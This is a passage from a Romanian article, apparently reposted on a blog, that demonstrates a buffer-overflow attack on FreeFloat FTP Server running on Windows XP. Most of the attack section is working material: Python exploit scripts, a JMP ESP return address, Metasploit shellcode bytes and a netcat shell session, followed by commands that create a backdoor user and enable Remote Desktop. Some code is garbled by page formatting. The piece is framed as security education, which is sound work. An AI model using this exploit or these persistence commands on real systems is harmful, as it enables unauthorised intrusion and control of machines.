buffer =’x41′ * 247 + ‘x42x42x42x42’ + ‘x43’ * 8 + ‘x44’ * 741  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print “nSending evil buffer…” 

connect=s.connect((‘192.168.56.201’,21)) 

s.send(‘USER ftp’ +’rn’);s.recv(1024) 

s.send(‘PASS ftp’ +’rn’);s.recv(1024) 

s.send(‘MKD ‘ + buffer + ‘rn’);s.recv(1024) 

root@bt:/pentest/fuzzers# chmod 777 skeleton-thi.py

root@bt:/pentest/fuzzers# ./skeleton-thi.py 

Sending evil buffer…  

De menţionat în acest caz este şirul de 4 caractere „B” echivalente ESP şi începutul şirului de caractere „D” echivalent ESP. Pentru a determina spaţiul disponibil ce poate fi rescris de codul malevolent, se folosesc informaţiile prezentate în analiza ESP. De aici se extrag adresele: ESP – 00B3FC2C (Început), ESP – 00B3FF04 (Sfârşit). În consecinţă spaţiul disponibil va fi:

00B3FF04 – 00B3FC2C = 2D8 (728). 

Următorul pas este reprezentat de găsirea unei instrucţiuni JMP ESP. Acest aspect este necesar întrucât în momentul în care rularea aplicaţiei se întrerupe, următoarea instrucţiune primită ar trebui să fie cea din codul maliţios. Se impune deci un salt la acel cod. Pentru a fi realizat acest salt am căutat instrucţiunea într-unul din DLL-urile din Windows şi pentru siguranţă a fost ales cel principal: USER32.DLL

Se analizeză mai apoi lista instrucţiunilor din .dll. În timpul revizuirii acestei liste se va căuta o instrucţiune JMP ESP şi se vor nota detaliile legate de aceasta. În cazul de faţă s-a găsit 7E429353 care se va introduce în şirul de caractere din script (invers, din motive de arhitectură Little Endian). Se rescrie şirul de caractere folosit în scripturile anterioare pentru a introduce şi această instrucţiune. În consecinţă, cele 4 caractere care suprascriau registrul EIP sunt înlocuite şi scriptul este din nou rulat, dupa ce i se acordă drepturile necesare.

root@bt:/pentest/fuzzers# nano skeleton-for.py  

#!/usr/bin/python

import socket

import sys 83 

#buffer =’x41′ * 1000

#buffer=”Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7

Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7

Ad8Ad9Ae0Ae1 Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1A$ 

#buffer =’x41′ * 247 + ‘x42x42x42x42’ + ‘x43’ * 8 + ‘x44’ * 741 

buffer =’x41′ * 247 + ‘x53x93x42x7E’ + ‘x43’ * 8 + ‘x44’ * 741  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print “nSending evil buffer…” 

connect=s.connect((‘192.168.56.201’,21)) 

s.send(‘USER ftp’ +’rn’);s.recv(1024) 

s.send(‘PASS ftp’ +’rn’);s.recv(1024)

s.send(‘MKD ‘ + buffer + ‘rn’);s.recv(1024) 

s.send(‘QUITrn’);s.close()  

root@bt:/pentest/fuzzers# chmod 777 skeleton-for.py

root@bt:/pentest/fuzzers# ./skeleton-for.py

Sending evil buffer…  

Ultima parte a atacului constă în reconstrucţia şirului de 1000 de caractere ce va fi trimis. Este necesar setul de instrucţiuni care va deschide portul dorit. Întrucât scrierea acelor instrucţiuni nu face parte din subiectul acestui articol, se va apela din nou la suita Metasploit şi anume la Webserver care este o bază de date care se actualizează zilnic cu vulnerabilităţi descoperite. Pentru a avea acces la această consolă, se rulează comanda msfweb şi în browser-ul Mozilla se navigheaza la adresa locală: 127.0.0.1:55555

root@bt:/pentest/exploits/framework2

root@bt:/pentest/exploits/framework2# ./msfweb

+—-=[ Metasploit Framework Web Interface (127.0.0.1:55555) 

Pentru a obţine codul malevolent necesar în suprascrierea script-ului skeleton, se navighează către tabelul de „PAYLOAD” şi se alege setul de caractere ce conţine instrucţiunile de deschidere a portului.

Windows Reverse Shell 

Name: win32_reverse v2067 

Arch: x86 

OS: win32 

Se obţine după generare, următorul şir de caractere:

unsigned char scode[] = “xbbx9fxf9xf4x8axd9xecxd9x74x24xf4x58x33xc9xb1x56x31x58

x13x83xe8xfcx03x58x90x1bx01x76x46x52xeax87x96x05x62x62

xa7x17x10xe6x95xa7x52xaax15x43x36x5fxaex21x9fx50x07x8f

xf9x5fx98x21xc6x0cx5ax23xbax4ex8ex83x83x80xc3xc2xc4xfd

x2bx96x9dx8ax99x07xa9xcfx21x29x7dx44x19x51xf8x9bxedxeb

x03xccx5dx67x4bxf4xd6x2fx6cx05x3bx2cx50x4cx30x87x22x4f

x90xd9xcbx61xdcxb6xf5x4dxd1xc7x32x69x09xb2x48x89xb4

xc5x8axf3x62x43x0fx53xe1xf3xebx65x26x65x7fx69x83xe1x27

x6ex12x25x5cx8ax9fxc8xb3x1axdbxeex17x46xb8x8fx0ex22x6f

xafx51x8axd0x15x19x39x05x2fx40x56xeax02x7bxa6x64x14

x08x94x2bx8ex86x94xa4x08x50xdax9fxedxcex25x1fx0exc6

xe1x4bx5ex70xc3xf3x35x80xecx26x99xd0x42x98x5ax81x22

x48x33xcbxacxb7x23xf4x66xcex63x3ax52x83x03x3fx64x04

xd0xb6x82x20xc8x9ex1dxdcx2axc5x95x7bx54x2fx8axd4xc2

x67xc4xe2xedx77xc2x41x41xdfx85x11x89xe4xb4x26x84x4c

xbex1fx4fx06xaexd2xf1x17xfbx84x92x8ax60x54xdcxb6x3e

x03x89x09x37xc1x27x33xe1xf7xb5xa5xcaxb3x61x16xd4x3a

xe7x22xf2x2cx31xaaxbex18xedxfdx68xf6x4bx54xdbxa0x05

x0bxb5x24xd3x67x06x32xdcxadxf0xdax6dx18x45xe5x42xcc

x41x9exbex6cxadx75x7bx9cxe4xd7x2ax35xa1x82x6ex58x52

x79xacx65xd1x8bx4dx92xc9xfex48xdex4dx13x21x4fx3 8x13x96x70x69″)   

Se indroduce codul generat în sirul de 1000 de caractere, obţinându-se asftel o ultimă variantă a scriptului skeleton şi anume skeleton-fif.py.

root@bt:/pentest/fuzzers# nano skeleton-fif.py  

#!/usr/bin/python

import socket

import sys 

#buffer =’x41′ * 1000 

#buffer=”Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7

Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7

Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1A$ 

#buffer =’x41′ * 247 + ‘x42x42x42x42’ + ‘x43’ * 8 + ‘x44’ * 741 

#buffer =’x41′ * 247 + ‘x53x93x42x7E’ + ‘x43’ * 8 + ‘x44’ * 741  

shellcode=(“xbbx9fxf9xf4x8axd9xecxd9x74x24xf4x58x33xc9xb1

x56x31x58x13x83xe8xfcx03 x58x90x1bx01x76x46x52xeax87x96x05x62x62 xa7x17

x1$

evil=”x90″ * 30 + shellcode 

buffer = “x41″*247 + “x53x93x42x7E” + evil + “x43″*(749-len(evil))  

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

print “nSending evil buffer…” 

connect=s.connect((‘192.168.56.201’,21)) 

s.send(‘USER ftp’ +’rn’);s.recv(1024) 

s.send(‘PASS ftp’ +’rn’);s.recv(1024) 

s.send(‘MKD ‘ + buffer + ‘rn’);s.recv(1024) 

s.send(‘QUITrn’);s.close()  

 

root@bt:/pentest/fuzzers# chmod 777 skeleton-fif.py 

6. Iniţierea atacului şi analiza rezultatelor  

Ultima parte a acestei lucrări are ca scop prezentarea consecinţelor derulării atacului şi beneficiile pe care le oferă acesta. În scop didactic este utilă analiza stării sistemului ţintă înaite de atac. Aceasta se poate face în două moduri. În primul rând rezultatele comenzii netstat rulată în Command Prompt- ul Windows-ului XP confirmă că nu există un port nedorit deschis. În al doilea rând în Backtrack5 se observă că o eventuală conexiune asupra portului 9988 este refuzată.

root@bt:~# nc -vn 192.168.56.201 9988 

(UNKNOWN) [192.168.56.201] 9988 (?) : Connection refused  

Începând atacul principal asupra maşinii ţintă, se rulează script-ul skeleton-fif.py iar primele rezultate se pot observa într-un terminal Backtrack5.

root@bt:~# cd /pentest

root@bt:/pentest# cd fuzzers

root@bt:/pentest/fuzzers# ./skeleton-fif.py 

Sending evil buffer… 

root@bt:/pentest/fuzzers# nc -vn 192.168.56.201 9988 

(UNKNOWN) [192.168.56.201] 9988 (?) open 

Microsoft Windows XP [Version 5.1.2600]  (C) Copyright 1985-2001 Microsoft Corp. 

C:Documents and SettingsDaniDesktop> 

De asemenea, comanda netstat rulată de această dată va arăta imediat după rularea scriptului faptul că portul a fost deschis. Odată cu obţinerea controlului asupra maşinii ţintă se pot rula o serie de instrucţiuni. S-a ales în scop demonstrativ crearea unui user şi conectarea prin „Remote Desktop Connection”. Pentru aceasta se rulează comanda net user Hacker hacker /add. Pentru a îndeplini scopul final mai sunt necesari doi paşi. Primul dintre ei este pornirea serviciului Remote Desktop Connection. Aceasta se face prin modificarea registrului dedicate: se rulează comanda: reg add “HKEY_LOCAL_MACHINESYSTEMCurre ntControlSetControlTerminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

Al doilea pas este reprezentat de adăugarea user-ului creat în grupul cu drepturi de conectare remote. Aceasta se face rulând comanda net localgroup “Remote Desktop Users” hacker /add

Acest exerciţiu se închide prin conectarea remote la maşina ţintă. Ultima comandă rulată într-un terminal Backtrack5 este rdesktop 192.168.56.201

7. Concluzii 

Subiectul acestui articol a fost prezentarea unui atac “buffer overflow”. Am demonstrat de-a lungul acestor pagini că vulnerabilităţile, ar trebui luate foarte bine în calcul întrucât pot compromite un sistem informatic. După cum s-a putut observa, aplicaţia vulnerabilă FreeFloat FTP Server a fost instalată pe un sistem ce rula Windows XP. Atacatorul a folosit concepte de bază ale programării şi reţelisticii pentru a obţine accesul la maşina ţintă. Dintr-un punct de vedere al securităţii ofensive am analizat atacul asupra unui server FTP, care a dus la obţinerea de drepturi asupra sistemului ţintă. Consider că merită menţionat că instrumentele folosite sunt gratuite şi oricine poate avea acces la ele. Este evident că atacurile asupra sistemelor informatice pot fi foarte complexe dar după cum am aratat, un astfel de atac poate fi pus în practică fără un efort foarte mare. Insist asupra acestei idei pentru a demonstra ca un atacator nu trebuie să fie neapărat foarte instruit iar susţinerea materială de care are nevoie este minimă. Aşadar subliniez importanţa conştientizării securităţii de către toţi ulilizatorii.

S-a demonstrat pe parcursul acestui articol că urmând câţiva paşi bine definiţi în nişte instrumente open – source, o persoană malevolentă poate exploata vulnerabilităţi detectate.

Rezumând, s-a rulat iniţial scanner-ul de vulnerabilităţi Nessus de pe sistemul Backtrack 5 asupra reţelei. În urma revizuirii vulnerabilităţilor din raportul generat, s-a observat prezenţa FTP-ului.

Pentru confirmare s-a generat şi o scanare adiţională folosind comanda nmap dintr-un terminal al Backtrack5. Mai apoi s-a continuat prin trimiterea de secvenţe cu scop-ul de a dermina lungimea şirului de caractere, găsirii de informaţii legate de regiştri EIP şi ESP şi obţinerea intervalului ce poate fi rescris pentru a introduce instrucţiunile dorite. Ultima parte a atacului a debutat cu generarea secvenţei ce a înlocuit spaţiul de memorie tampon. S-a rulat apoi script-ul ce a trimis secvenţa de cod iar mai apoi s-a folosit comanda netcat pentru a începe ascultarea pe portul ales. Succesul atacului a trimis către port, o instanţă a Command Prompt-ului din Windows. Am obţinut astfel controlul maşinii ţintă, confirmând succesul atacului.

În consecinţă, existenţa unui proiect de securitate ofensivă este critică în orice domeniu. În cel mai rău caz, cel puţin dezvoltatorii software ar trebui conştientizaţi asupra problemelor ce pot apărea. Interesant este că, deşi din cauza evoluţiei vulnerabilităţilor de la o zi la alta, exemplul din această prezentare nu va mai fi aplicabil curând, conceptul şi abordarea vor fi valabile în continuare.

Information gathered from: ijisc.comsecuritatea-informatiilor.ropentest.ro; Qualys.comowasp.orgmitre.orgtenable.com/products/nessushackingdna.com;

informit.commetasploit.comimmunityinc.comfuzzysecurity.comhacking-tutorial.commicrosoft.com

Published: IJISC Volume 2, Issue 2, Year 2013

Advertisements

Leave a comment

Filed under General

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s